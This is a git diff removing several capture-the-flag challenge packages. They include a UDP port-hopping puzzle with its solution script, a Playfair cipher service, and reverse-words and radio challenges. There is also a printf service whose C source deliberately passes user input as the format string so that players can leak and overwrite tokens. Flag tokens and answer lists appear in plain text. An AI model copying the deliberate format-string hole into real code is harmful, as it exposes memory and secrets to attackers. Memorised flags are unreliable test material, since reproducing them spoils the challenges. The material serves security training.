freeaddrinfo(multicastAddr); - close(sender); - close(listener); - - return 0; -} diff --git a/packages/multicaster/tokens.txt b/packages/multicaster/tokens.txt deleted file mode 100644 index 09c628d..0000000 --- a/packages/multicaster/tokens.txt +++ /dev/null @@ -1 +0,0 @@ -net:xucaz-porub-rakox diff --git a/packages/octopus/octopus.mk b/packages/octopus/octopus.mk deleted file mode 100644 index d0e2962..0000000 --- a/packages/octopus/octopus.mk +++ /dev/null @@ -1,18 +0,0 @@ -OCTOPUS_PKGDIR = $(TARGET)/octopus - -octopus-install: octopus-build - mkdir -p $(OCTOPUS_PKGDIR)/bin/ - - $(call COPYTREE, packages/octopus/service, $(OCTOPUS_PKGDIR)/service) - - cp packages/octopus/tokens.txt $(OCTOPUS_PKGDIR)/ - cp packages/octopus/src/octopus $(OCTOPUS_PKGDIR)/bin/ - -octopus-clean: - rm -rf $(OCTOPUS_PKGDIR) - $(MAKE) -C packages/octopus/src clean - -octopus-build: - $(MAKE) -C packages/octopus/src build - -PACKAGES += octopus diff --git a/packages/octopus/service/octopus-redirect/log/run b/packages/octopus/service/octopus-redirect/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/octopus/service/octopus-redirect/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/octopus/service/octopus-redirect/octopus-redirect b/packages/octopus/service/octopus-redirect/octopus-redirect deleted file mode 100755 index c6f06c6..0000000 --- a/packages/octopus/service/octopus-redirect/octopus-redirect +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -echo 'Try UDP.' diff --git a/packages/octopus/service/octopus-redirect/run b/packages/octopus/service/octopus-redirect/run deleted file mode 100755 index f5edf34..0000000 --- a/packages/octopus/service/octopus-redirect/run +++ /dev/null @@ -1,8 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -p ../octopus/ip.txt) - -sv s octopus >/dev/null || exit 1 -exec tcpsvd ${IP%/*} 8888 ./octopus-redirect diff --git a/packages/octopus/service/octopus/finish b/packages/octopus/service/octopus/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/octopus/service/octopus/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/octopus/service/octopus/ip.txt b/packages/octopus/service/octopus/ip.txt deleted file mode 100644 index 45a4fb7..0000000 --- a/packages/octopus/service/octopus/ip.txt +++ /dev/null @@ -1 +0,0 @@ -8 diff --git a/packages/octopus/service/octopus/log/run b/packages/octopus/service/octopus/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/octopus/service/octopus/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/octopus/service/octopus/run b/packages/octopus/service/octopus/run deleted file mode 100755 index 228a153..0000000 --- a/packages/octopus/service/octopus/run +++ /dev/null @@ -1,9 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -a) - -grep -q ipv4 /proc/cmdline && IP=::ffff:$IP - -exec $CTF_BASE/packages/octopus/bin/octopus ${IP%/*} < $CTF_BASE/packages/octopus/tokens.txt diff --git a/packages/octopus/solution.sh b/packages/octopus/solution.sh deleted file mode 100755 index 7d97293..0000000 --- a/packages/octopus/solution.sh +++ /dev/null @@ -1,16 +0,0 @@ -#! /bin/sh - -port=8888 -host=[${1:-::1}] - -blooper=/tmp/bloop.$$ -trap "rm $blooper" 0 - -echo foo | socat -t 0.01 STDIO UDP6:$host:$port | tail -n +5 > $blooper - -for i in $(seq 8); do - result=$(socat -t 0.01 STDIO UDP6:$host:$port < $blooper | awk -F': ' '(NF > 1) {print $2; exit;}') - port=$(printf "%d" "0$result") - echo "next port: $port ($result)" -done -echo $result diff --git a/packages/octopus/src/Makefile b/packages/octopus/src/Makefile deleted file mode 100644 index f449d68..0000000 --- a/packages/octopus/src/Makefile +++ /dev/null @@ -1,9 +0,0 @@ -# Octopus / Some kind of octopus / Tearing my shell apart / Letting the -# sea get in / You make my insides outside - -build: octopus - -octopus: octopus.o - -clean: - rm -f octopus *.o diff --git a/packages/octopus/src/octopus.c b/packages/octopus/src/octopus.c deleted file mode 100644 index d1397bb..0000000 --- a/packages/octopus/src/octopus.c +++ /dev/null @@ -1,368 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define OUTPUT_MAX 1024 -#define INPUT_MAX 1024 - -#ifndef max -#define max(a,b) (((a)>(b))?(a):(b)) -#endif - -const char token[100]; -size_t tokenlen; - -char const octopus[] = - (" ___\n" - " .-' `'.\n" - " / \\\n" - " | ;\n" - " | | ___.--,\n" - " _.._ |8) ~ (8) | _.---'`__.-( (_.\n" - " __.--'`_.. '.__.\\ '--. \\_.-' ,.--'` `""`\n" - " ( ,.--'` ',__ /./; ;, '.__.'` __\n" - " _`) ) .---.__.' / | |\\ \\__..--\"\" \"\"\"--.,_\n" - " `---' .'.''-._.-'`_./ /\\ '. \\ _.-~~~````~~~-._`-.__.'\n" - " | | .' _.-' | | \\ \\ '. `~---`\n" - " \\ \\/ .' \\ \\ '. '-._)\n" - " \\/ / \\ \\ `=.__`~-.\n" - " jgs / /\\ `) ) / / `\"\".`\\\n" - " , _.-'.'\\ \\ / / ( ( / /\n" - " `--~` ) ) .-'.' '.'. | (\n" - " (/` ( (` ) ) '-;\n" - " ` '-; (-'\n" - ); - -const char *friends[8] = { - ("Welcome to Olive Octopus's house!\n" - "Help Olive visit all 8 of her friends to receive a prize!\n" - "Hurry though, things change quickly in the ocean!\n" - "Next friend: %08o\n" - "%s" - ), - ("Thanks for stopping by, Olive! Good luck finding that prize!\n" - "Next friend: %08o\n" - " ,__\n" - " | `'.\n" - "__ |`-._/_.:---`-.._\n" - "\\='. _/..--'`__ `'-._\n" - " \\- '-.--\"` === / o `',\n" - " )= ( .--_ | _.'\n" - " /_=.'-._ {=_-_ | .--`-.\n" - "/_.' `\\`'-._ '-= \\ _.'\n" - " jgs ) _.-'`'-.. _..-'`\n" - " /_.' `/\";';`|\n" - " \\` .'/\n" - " '--'\n" - ), - ("Snap, snap! Good luck on your quest, Olive!\n" - "Next friend: %08o\n" - " .\"\".-._.-.\"\".\n" - " | \\ | / |\n" - " \\ \\.T./ /\n" - " '-./ \\.-'\n" - " / \\\n" - " ; ;\n" - " | |\n" - " | |\n" - " / \\\n" - " | . |\n" - " __.| : |.__\n" - " .-'` | : | `'-.\n" - " /` .\"\\ 0 : 0 /\". `\\\n" - " | _/ './ : \\.' \\_ |\n" - " | / /`\"\"\"`\\ \\ |\n" - " \\ \\ .-' '._ / /\n" - " jgs '-._\\ /_.-'\n" - ), - ("Nice talking with you, Olive. I'd best get back to my babies now!\n" - "Next friend: %08o\n" - " , ,\n" - " \\:.|`._\n" - " /\\/;.:':::;;;._\n" - " < .' ':::;(\n" - " < ' _ '::;>\n" - " \\ (9) _ :::;(\n" - " | / \\ ::;`>\n" - " | / | :;(\n" - " | ( <=- .::;>\n" - " ( a) )=- .::;(\n" - " '-' <=- .::;>\n" - " )==- ::::( ,\n" - " <==- :::(,-'(\n" - " )=- ':: _.->\n" - " <==- ':.' _(\n" - " <==- .:'_ (\n" - " )==- .::' '->\n" - " <=- .:;(`'.(\n" - " `) ':;> `\n" - " .-. < :;(\n" - " <`.':\\ ) :;>\n" - " < :/<_/ < .:;>\n" - " < '`---'` .::(`\n" - " jgs < .:;>'\n" - " `-..:::-'`\n" - ), - ("Spshhh! Good to see you, Olive! You're on the right track!\n" - "Next friend: %08o\n" - " ,_\n" - " \\::,\n" - " |::::\\\n" - " |:::::\\\n" - " __/:::::::\\,____\n" - " _.-::::::::::::::::::::==..,____\n" - " .-::::::::::::::::::::::::::::::::::::.,__\n" - " .:::::::::::::::::::::::::::::::::::::::::::::)\n" - " .:::::'```'-::::::::::::::::::::::(__,__`)::::-'\n" - " .;;;;;;::. ':::::::::::::::::::-:::::@::-'\"\"-,\n" - " .------:::::::::::' '-::::::::::' / `'--'\"\"\"\".-'\n" - "/:::::::::/:::/` _,..-----.,__ `''''`/ ;__,..--''--'`\n" - "`'--::::::::::|-'` `'---'| |\n" - " `\\::::\\ \\ /\n" - " |:::::| '-'\n" - " \\::::|\n" - " jgs `\\::|\n" - " \\/\n" - ), - ("You're getting close, Olive!\n" - "Next friend: %08o\n" - " .-------------'```'----......,,__ _,\n" - " | `'`'`'`'-.,.__ .'(\n" - " | `'--._.' )\n" - " | `'-.<\n" - " \\ .-'`'-. -. `\\\n" - " \\ -.o_. _ _,-'`\\ |\n" - " ``````''--.._.-=-._ .' \\ _,,--'` `-._(\n" - " (^^^^^^^^`___ '-. | \\ __,,,...--' `\n" - " ````````` `'--..___\\ |`\n" - " jgs `-.,'\n" - ), - ("Hi, Olive! Not much further now!\n" - "Next friend: %08o\n" - " , ,\n" - " /(_, ,_)\\\n" - " \\ _/ \\_ /\n" - " // \\\\\n" - " \\\\ (@)(@) //\n" - " \\'=\"==\"='/\n" - " ,===/ \\===,\n" - " \",===\\ /===,\"\n" - " \" ,==='------'===, \"\n" - " jgs \" \"\n" - ), - ("Aha! You found me!\n" - "Prize: %.*s\n" - " (\\.-./)\n" - " / \\\n" - " .' : '.\n" - " _.-'` ' `'-._\n" - " .-' : '-.\n" - " ,'_.._ . _.._',\n" - " '` `'-. ' .-'` `'\n" - " '. : .'\n" - " \\_. ._/\n" - " \\ |^|\n" - " | jgs | ;\n" - " \\'.___.' /\n" - " '-....-'\n") -}; - -const char invalid[] = "Who are you? Go away!\n"; - -#ifdef EASY -# define PORTS 15 -#else -# define PORTS 8 -#endif - -struct bound_port { - int fd; - char output[OUTPUT_MAX]; - size_t output_len; -} bound_ports[PORTS]; - -int -bind_port(struct in6_addr *addr, int fd, uint16_t port) { - struct sockaddr_in6 saddr = {0}; - - saddr.sin6_family = AF_INET6; - saddr.sin6_port = htons(port); - memcpy(&saddr.sin6_addr, addr, sizeof *addr); - return bind(fd, (struct sockaddr *)&saddr, sizeof saddr); -} - -int -rebind(struct in6_addr *addr) -{ - static int offset = 0; - int i; - - for (i = 1; i < 8; i += 1) { - int ret; - int last_guy; - in_port_t port; - - if (-1 != bound_ports[i + offset].fd) { - while (-1 == close(bound_ports[i + offset].fd)) { - if (errno != EINTR) { - return -1; - } - } - } - - /* Bind to a port */ - bound_ports[i + offset].fd = socket(AF_INET6, SOCK_DGRAM, 0); - do { - port = (random() % 56635) + 10000; - ret = bind_port(addr, bound_ports[i + offset].fd, port); - } while (-1 == ret); - - /* Set the last guy's port number */ - last_guy = i + offset - 1; - switch (i) { - case 1: - /* Always change the port 8888 one */ - last_guy = 0; - case 2: - case 3: - case 4: - case 5: - case 6: - case 7: - bound_ports[last_guy].output_len = - snprintf(bound_ports[last_guy].output, OUTPUT_MAX, - friends[i - 1], port, octopus); - break; - } - } - bound_ports[7 + offset].output_len = - snprintf(bound_ports[7 + offset].output, OUTPUT_MAX, - friends[7], tokenlen, token); - - if (offset == 0) { - offset = PORTS - 8; - } else { - offset = 0; - } - - return 0; -} - -void -do_io(int which) -{ - struct bound_port *bp = &bound_ports[which]; - char input[INPUT_MAX]; - ssize_t inlen; - struct sockaddr_in6 from; - socklen_t fromlen = sizeof(from); - - inlen = recvfrom(bp->fd, input, INPUT_MAX, 0, - (struct sockaddr *)&from, &fromlen); - if (-1 == inlen) { - /* Well don't that just beat all. */ - return; - } - - if (which > 0) { - if ((inlen != sizeof(octopus) - 1) || - (0 != memcmp(input, octopus, inlen))) { - /* Didn't send the octopus */ - sendto(bp->fd, invalid, sizeof(invalid), 0, - &from, fromlen); - return; - } - } - - sendto(bp->fd, bp->output, bp->output_len, 0, - &from, fromlen); -} - -int -loop() -{ - int i; - int nfds = 0; - fd_set rfds; - - FD_ZERO(&rfds); - for (i = 0; i < PORTS; i += 1) { - nfds = max(nfds, bound_ports[i].fd); - FD_SET(bound_ports[i].fd, &rfds); - } - - while (-1 == select(nfds+1, &rfds, NULL, NULL, NULL)) { - if (EINTR == errno) { - continue; - } - return 0; - } - - for (i = 0; i < PORTS; i += 1) { - if (FD_ISSET(bound_ports[i].fd, &rfds)) { - do_io(i); - } - } - - return 1; -} - -int -main(int argc, char *argv[]) -{ - int ret; - int i; - time_t last_bind = 0; - time_t last_token = 0; - struct in6_addr addr; - - /* The random seed isn't super important here. */ - srand(time(NULL)); - - if (argc > 1) { - if (0 >= inet_pton(AF_INET6, argv[1], &addr)) { - fprintf(stderr, "invalid address: %s\n", argv[1]); - return EX_IOERR; - } - } else { - memcpy(&addr, &in6addr_any, sizeof addr); - } - - if (NULL == fgets(token, sizeof(token), stdin)) { - perror("Unable to read token"); - return EX_IOERR; - } - tokenlen = strlen(token); - - bound_ports[0].fd = socket(AF_INET6, SOCK_DGRAM, 0); - ret = bind_port(&addr, bound_ports[0].fd, 8888); - if (-1 == ret) { - perror("bind port 8888"); - return EX_IOERR; - } - - for (i = 1; i < PORTS; i += 1) { - bound_ports[i].fd = -1; - } - - do { - time_t now = time(NULL); - - if (last_bind + 4 < now) { - last_bind = now; - if (-1 == rebind(&addr)) break; - } - } while (loop()); - - return 0; -} diff --git a/packages/octopus/tokens.txt b/packages/octopus/tokens.txt deleted file mode 100644 index e7bf2cb..0000000 --- a/packages/octopus/tokens.txt +++ /dev/null @@ -1 +0,0 @@ -net:xemim-civiz-tyrox diff --git a/packages/playfair/playfair.mk b/packages/playfair/playfair.mk deleted file mode 100644 index 8604ea8..0000000 --- a/packages/playfair/playfair.mk +++ /dev/null @@ -1,19 +0,0 @@ -PLAYFAIR_PKGDIR = $(TARGET)/playfair -PLAYFAIR_BUILDDIR = $(BUILD)/playfair - -playfair-install: playfair-build - mkdir -p $(PLAYFAIR_PKGDIR)/bin/ - - $(call COPYTREE, packages/playfair/service, $(PLAYFAIR_PKGDIR)/service) - - cp packages/playfair/tokens.txt $(PLAYFAIR_PKGDIR)/ - cp packages/playfair/src/playfair $(PLAYFAIR_PKGDIR)/bin/ - -playfair-clean: - rm -rf $(PLAYFAIR_PKGDIR) $(PLAYFAIR_BUILDDIR) - $(MAKE) -C packages/playfair/src clean - -playfair-build: - $(MAKE) -C packages/playfair/src build - -PACKAGES += playfair diff --git a/packages/playfair/service/playfair/finish b/packages/playfair/service/playfair/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/playfair/service/playfair/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/playfair/service/playfair/ip.txt b/packages/playfair/service/playfair/ip.txt deleted file mode 100644 index 87523dd..0000000 --- a/packages/playfair/service/playfair/ip.txt +++ /dev/null @@ -1 +0,0 @@ -41 diff --git a/packages/playfair/service/playfair/log/run b/packages/playfair/service/playfair/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/playfair/service/playfair/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/playfair/service/playfair/run b/packages/playfair/service/playfair/run deleted file mode 100755 index 41bf390..0000000 --- a/packages/playfair/service/playfair/run +++ /dev/null @@ -1,9 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -a) -ip addr add $IP dev eth0 || true - -exec tcpsvd -u nobody ${IP%/*} 1013 $CTF_BASE/packages/playfair/bin/playfair - diff --git a/packages/playfair/src/Makefile b/packages/playfair/src/Makefile deleted file mode 100644 index 66489f7..0000000 --- a/packages/playfair/src/Makefile +++ /dev/null @@ -1,4 +0,0 @@ -build: playfair - -clean: - rm -f playfair \ No newline at end of file diff --git a/packages/playfair/src/playfair.c b/packages/playfair/src/playfair.c deleted file mode 100644 index 1097fba..0000000 --- a/packages/playfair/src/playfair.c +++ /dev/null @@ -1,199 +0,0 @@ -#include -#include -#include -#include - -#define TRUE 1 -#define FALSE 0 - -// finds the index of a character in the index -// returns index or -1 -int -indexkey(char* key, char c) { - int i; - - for(i=0; i < 25; i++) { - if (key[i] == c) { - //printf("'%d' -> %d\n", c, i); - return i; - } - } - return -1; -} - -// makes sure everything is lowercase or a space -void -strtolower(char* s, int len) { - int i; - - for(i = 0; i < len; i++) { - s[i] = tolower(s[i]); - if (s[i] < 'a' || s[i] > 'z') { - s[i] = ' '; - } - } -} - -// -// makes a key -char * -make_key(char* s, int len) { - strtolower(s, len); - char alph[] = "abcdefghijklmnopqrstuvwxyz"; - char* key = (char *) malloc(26 * sizeof(char)); - key[26] = '\0'; - int keylen = 0; - int i; - - // initial dump - for(i=0; i< len; i++) { - if( s[i] != ' ' && alph[s[i]-97] != ' ' && s[i] != 'q') { - key[keylen] = s[i]; - keylen++; - alph[s[i]-97] = ' '; - } - } - - // add extra chars - for (i=0; i < 27; i++) { - if (alph[i] != ' ' && alph[i] != 'q') { - key[keylen] = alph[i]; - keylen++; - alph[i] = ' '; - } - } - - return key; -} - - -// double checks for duplicate chars in string -int -isdup(char* s, int len) { - int i, j; - - for(i = 0; i < len; i++) { - for(j = i+1; j < len; j++ ) { - if (s[i] == s[j]) { - return 1; - } - } - } - return 0; -} - -// does the swapping of two characters -// assuming input is already sanitized -void -swapchar(char* key, char* plain) { - int i0, i1; - i0 = indexkey(key, plain[0]); - i1 = indexkey(key, plain[1]); - - // will hit this with double null, or double x - if (i0 == i1){ - // so pass - // vertical case - } else if (i0%5 == i1%5) { - plain[0] = key[(i0+5)%25]; - plain[1] = key[(i1+5)%25]; - // horizontal case - } else if (i0/5 == i1/5) { - plain[0] = key[(i0/5)*5 + (i0+1)%5]; - plain[1] = key[(i1/5)*5 + (i1+1)%5]; - // diagonal case - } else { - int b0 = i0%5; - int b1 = i1%5; - int diff; - if (b0 > b1) { - diff = b0 - b1; - plain[0] = key[i0-diff]; - plain[1] = key[i1+diff]; - } else { - diff = b1 - b0; - plain[0] = key[i0+diff]; - plain[1] = key[i1-diff]; - } - } - return; -} - -void -printcrap(char* buf){ - printf("%c%c ", buf[0]-32, buf[1]-32); -} - -void -run(char* key) { - char buf[3]; - char tmp; - int existing = FALSE; - - buf[2] = 0; - - while (TRUE) { - // read some crap in - tmp = getchar(); - if (tmp == 'q') { - tmp = 'x'; - } - if (tmp == EOF) { - if(existing) { - buf[1] = 'x'; - swapchar(key, buf); - printcrap(buf); - existing = FALSE; - } else { - return; - } - } else if (tmp == '\n') { - if(existing) { - buf[1] = 'x'; - swapchar(key, buf); - printcrap(buf); - printf("\n"); - fflush(stdout); - existing = FALSE; - } else { - printf("\n"); - fflush(stdout); - } - } else if (91 <= tmp && tmp <= 122) { - if (existing) { - if (tmp == buf[0] && tmp != 'x') { - buf[1] = 'x'; - swapchar(key, buf); - printcrap(buf); - buf[0] = tmp; - } else { - buf[1] = tmp; - swapchar(key, buf); - printcrap(buf); - existing = FALSE; - } - } else { - buf[0] = tmp; - existing = TRUE; - } - } else { - //printf("\nOnly [a-z\\n]\n"); - //fflush(stdout); - } - } -} - - -int -main() { - // Unusual token, since it has to satisfy some strict requirements. - char key[] = "netkualbcdfgrisoxh"; - int len = strlen(key); - char * ckey = make_key(key, len); - - // All I know about trigraphs is that the gcc manual says I don't want - // to know about trigraphs. - printf("The key is the token. Play fair. ???:????\?-????\?-?????\n"); - fflush(stdout); - run(ckey); -} diff --git a/packages/playfair/tokens.txt b/packages/playfair/tokens.txt deleted file mode 100644 index c0d624c..0000000 --- a/packages/playfair/tokens.txt +++ /dev/null @@ -1 +0,0 @@ -net:kualb-cdfgr-isoxh diff --git a/packages/posters/posters.mk b/packages/posters/posters.mk deleted file mode 100644 index b434e57..0000000 --- a/packages/posters/posters.mk +++ /dev/null @@ -1,8 +0,0 @@ -posters-source: -posters-build: - -posters-install: packages/posters/tokens.txt - mkdir -p $(TARGET)/posters/ - cp $< $(TARGET)/posters/ - -PACKAGES += posters diff --git a/packages/posters/tokens.txt b/packages/posters/tokens.txt deleted file mode 100644 index 12debb7..0000000 --- a/packages/posters/tokens.txt +++ /dev/null @@ -1,6 +0,0 @@ -posters:xylep-nanox -posters:xanad-polox -posters:xemoc-socox -posters:xurat-tulox -posters:xalep-mikex -posters:xylen-bubux diff --git a/packages/printf/printf.mk b/packages/printf/printf.mk deleted file mode 100644 index cc22d75..0000000 --- a/packages/printf/printf.mk +++ /dev/null @@ -1,19 +0,0 @@ -PRINTF_PKGDIR = $(TARGET)/printf - -printf-install: printf-build - mkdir -p $(PRINTF_PKGDIR) - - mkdir -p $(PRINTF_PKGDIR)/bin/ - $(MAKE) -C packages/printf/src install DESTDIR=$(CURDIR)/$(PRINTF_PKGDIR) - - $(call COPYTREE, packages/printf/service, $(PRINTF_PKGDIR)/service) - cp packages/printf/tokens.txt $(PRINTF_PKGDIR)/ - -printf-clean: - rm -rf $(PRINTF_PKGDIR) - $(MAKE) -C packages/printf/src clean - -printf-build: - $(MAKE) -C packages/printf/src build - -PACKAGES += printf diff --git a/packages/printf/service/printf/finish b/packages/printf/service/printf/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/printf/service/printf/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/printf/service/printf/ip.txt b/packages/printf/service/printf/ip.txt deleted file mode 100644 index 492dff0..0000000 --- a/packages/printf/service/printf/ip.txt +++ /dev/null @@ -1 +0,0 @@ -152 diff --git a/packages/printf/service/printf/log/run b/packages/printf/service/printf/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/printf/service/printf/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/printf/service/printf/run b/packages/printf/service/printf/run deleted file mode 100755 index 92a725d..0000000 --- a/packages/printf/service/printf/run +++ /dev/null @@ -1,13 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -a) - -# So I say to him, "Alex, what's a good high port number for a CTF category?" -# And he says, "6" -# And I say, "no, it has to be bigger than 1000" -# And he says, "how about 9001, because that's bigger than 9000" -# Okay. - -exec tcpsvd ${IP%/*} 9001 ./run-printf diff --git a/packages/printf/service/printf/run-printf b/packages/printf/service/printf/run-printf deleted file mode 100755 index 9563407..0000000 --- a/packages/printf/service/printf/run-printf +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec chpst -u 9001 -/ $CTF_BASE/packages/printf/bin ./printf 3<$CTF_BASE/packages/printf/tokens.txt diff --git a/packages/printf/src/Makefile b/packages/printf/src/Makefile deleted file mode 100644 index 2b1fce6..0000000 --- a/packages/printf/src/Makefile +++ /dev/null @@ -1,14 +0,0 @@ -CFLAGS = -Wall -LDFLAGS = -static -TARGETS = printf - -all: build -build: $(TARGETS) - -printf: printf.o - -install: $(TARGETS) - install -m 0755 $(TARGETS) $(DESTDIR)/bin - -clean: - rm -f *.o $(TARGETS) \ No newline at end of file diff --git a/packages/printf/src/printf.c b/packages/printf/src/printf.c deleted file mode 100644 index f8dda67..0000000 --- a/packages/printf/src/printf.c +++ /dev/null @@ -1,100 +0,0 @@ -#include -#include -#include - -void -record(char *buf) { - char *p; - char *ip = getenv("TCPREMOTEIP"); - - fprintf(stderr, "%s: ", ip); - for (p = buf; *p; p += 1) { - if (isprint(*p)) { - fputc(*p, stderr); - } else { - fprintf(stderr, "%%%02x", *p); - } - } - fputc('\n', stderr); -} - -/* Storage space for tokens */ -char token[5][100]; - -/* Make this global so the stack isn't gigantic */ -char global_fmt[8000] = {0}; - - -int -main(int argc, char *argv[], char *env[]) -{ - char *t0 = token[0]; - int t1[100]; - char *fmt = global_fmt; - char *datacomp = "welcome datacomp"; - int token4_flag = 0; - int i; - - /* Read in tokens */ - { - FILE *tf = fdopen(3, "r"); - - if (! tf) { - fprintf(stderr, "No tokens on fd3\n"); - return 1; - } - - for (i = 0; i < 5; i += 1) { - char *p = fgets(token[i], sizeof(token[i]), tf); - - if (! p) { - fprintf(stderr, "Cannot read token %d\n", i); - return 1; - } - - /* Replace newline with null */ - for (; *p && (*p != '\n'); p += 1); - *p = 0; - } - } - - /* Make stderr buffer until lines */ - setlinebuf(stderr); - - /* So the compiler won't complain about unused variables */ - i = datacomp[0] ^ t0[0]; - - /* Token 0 just hangs out on the stack */ - - /* Set up token 1 (%c%c%c%c...) */ - for (i = 0; '\0' != token[1][i]; i += 1) { - t1[i] = token[1][i]; - } - t1[i-1] = '\n'; - - /* Stick token 2 into the environment */ - for (i = 0; env[i]; i += 1); - env[i-1] = token[2]; - - /* token 3 is pretty much a gimmie */ - - /* token 4 will only be printed if you set token4_flag to non-zero */ - - if (NULL == fgets(global_fmt, sizeof(global_fmt), stdin)) { - return 0; - } - - record(fmt); - - printf(fmt, - "Welcome to the printf category.\n", - "There are multiple tokens hiding here.\n", - "Good luck!\n", - token[3], - "token4_flag (@ ", &token4_flag, "): ", token4_flag, "\n"); - if (token4_flag) { - printf("%s\n", token[4]); - } - - return 0; -} diff --git a/packages/printf/tokens.txt b/packages/printf/tokens.txt deleted file mode 100644 index 17f373d..0000000 --- a/packages/printf/tokens.txt +++ /dev/null @@ -1,5 +0,0 @@ -net:xenid-divik-vyhux -net:xodib-recop-zycux -net:xugep-zanuc-fetux -net:ximac-pucaz-zonox -net:xetab-kozyl-megex diff --git a/packages/radio/answers.txt b/packages/radio/answers.txt deleted file mode 100644 index 37d955b..0000000 --- a/packages/radio/answers.txt +++ /dev/null @@ -1,18 +0,0 @@ -50 belligerently -51 shell -52 217 -53 apothoeses -54 availability -55 bicycle -56 dirtbags -57 ladybugs -58 monish -59 physicians -60 stargazer -61 strangest -62 tour -63 virtue -150 howard -200 badgez -40 cuando cuando cuando -40 cuando, cuando, cuando diff --git a/packages/radio/radio.mk b/packages/radio/radio.mk deleted file mode 100644 index b175c3d..0000000 --- a/packages/radio/radio.mk +++ /dev/null @@ -1,8 +0,0 @@ -RADIO_PKGDIR = $(TARGET)/radio - -radio-install: - mkdir -p $(RADIO_PKGDIR) - cp packages/radio/answers.txt $(RADIO_PKGDIR) - -PACKAGES += radio - diff --git a/packages/revwords/revwords.mk b/packages/revwords/revwords.mk deleted file mode 100644 index 5f44a3e..0000000 --- a/packages/revwords/revwords.mk +++ /dev/null @@ -1,19 +0,0 @@ -REVWORDS_PKGDIR = $(TARGET)/revwords -REVWORDS_BUILDDIR = $(BUILD)/revwords - -revwords-install: revwords-build - mkdir -p $(REVWORDS_PKGDIR)/bin/ - - $(call COPYTREE, packages/revwords/service, $(REVWORDS_PKGDIR)/service) - - cp packages/revwords/tokens.txt $(REVWORDS_PKGDIR)/ - cp packages/revwords/src/revwords $(REVWORDS_PKGDIR)/bin/ - -revwords-clean: - rm -rf $(REVWORDS_PKGDIR) $(REVWORDS_BUILDDIR) - $(MAKE) -C packages/revwords/src clean - -revwords-build: - $(MAKE) -C packages/revwords/src build - -PACKAGES += revwords diff --git a/packages/revwords/service/revwords/finish b/packages/revwords/service/revwords/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/revwords/service/revwords/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/revwords/service/revwords/go b/packages/revwords/service/revwords/go deleted file mode 100755 index a6862a0..0000000 --- a/packages/revwords/service/revwords/go +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec $CTF_BASE/packages/revwords/bin/revwords 3<$CTF_BASE/packages/revwords/tokens.txt diff --git a/packages/revwords/service/revwords/ip.txt b/packages/revwords/service/revwords/ip.txt deleted file mode 100644 index 6bb2f98..0000000 --- a/packages/revwords/service/revwords/ip.txt +++ /dev/null @@ -1 +0,0 @@ -195 diff --git a/packages/revwords/service/revwords/log/run b/packages/revwords/service/revwords/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/revwords/service/revwords/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/revwords/service/revwords/run b/packages/revwords/service/revwords/run deleted file mode 100755 index ada9905..0000000 --- a/packages/revwords/service/revwords/run +++ /dev/null @@ -1,8 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -a) - -exec tcpsvd -u nobody ${IP%/*} 1013 ./go - diff --git a/packages/revwords/src/Makefile b/packages/revwords/src/Makefile deleted file mode 100644 index 5c328e7..0000000 --- a/packages/revwords/src/Makefile +++ /dev/null @@ -1,6 +0,0 @@ -CFLAGS = -Wall -Werror - -build: revwords - -clean: - rm -f revwords diff --git a/packages/revwords/src/revwords.c b/packages/revwords/src/revwords.c deleted file mode 100644 index 8a6c36d..0000000 --- a/packages/revwords/src/revwords.c +++ /dev/null @@ -1,105 +0,0 @@ -#include -#include -#include -#include -#include - -#define XDEBUG - -int -once() -{ - char sdrow[25][10]; - int nwords = 5 + (rand() % 2); - int i; - -#ifdef DEBUG - nwords = 2; -#endif - - for (i = 0; i < nwords; i += 1) { - char *drow = sdrow[i]; - int len = 4 + (rand() % 6); - int j; - - if (i > 0) putchar(' '); - for (j = 0; j < len; j += 1) { - char c = 'a' + (rand() % 26); - - putchar(c); - drow[len-j-1] = c; - } - - drow[j] = 0; - } - -#ifdef DEBUG - printf (" (answer: "); - for (i = 0; i < nwords; i += 1) { - if (i > 0) putchar(' '); - printf("%s", sdrow[i]); - } - putchar(')'); -#endif - - putchar('\n'); - fflush(stdout); - - for (i = 0; i < nwords; i += 1) { - char *p; - - if (i > 0) { - if (getchar() != ' ') return -1; - } - for (p = sdrow[i]; *p; p += 1) { - int c = getchar(); - - if (c != *p) return -1; - } - } - if (getchar() != '\n') return -1; - - return 0; -} - - -int -main(int argc, char *argv[]) -{ - char token[100]; - int i; - - { - FILE *tokenin = fdopen(3, "r"); - - if (! tokenin) { - fprintf(stderr, "Somebody didn't read the instructions.\n"); - return 1; - } - - if (NULL == 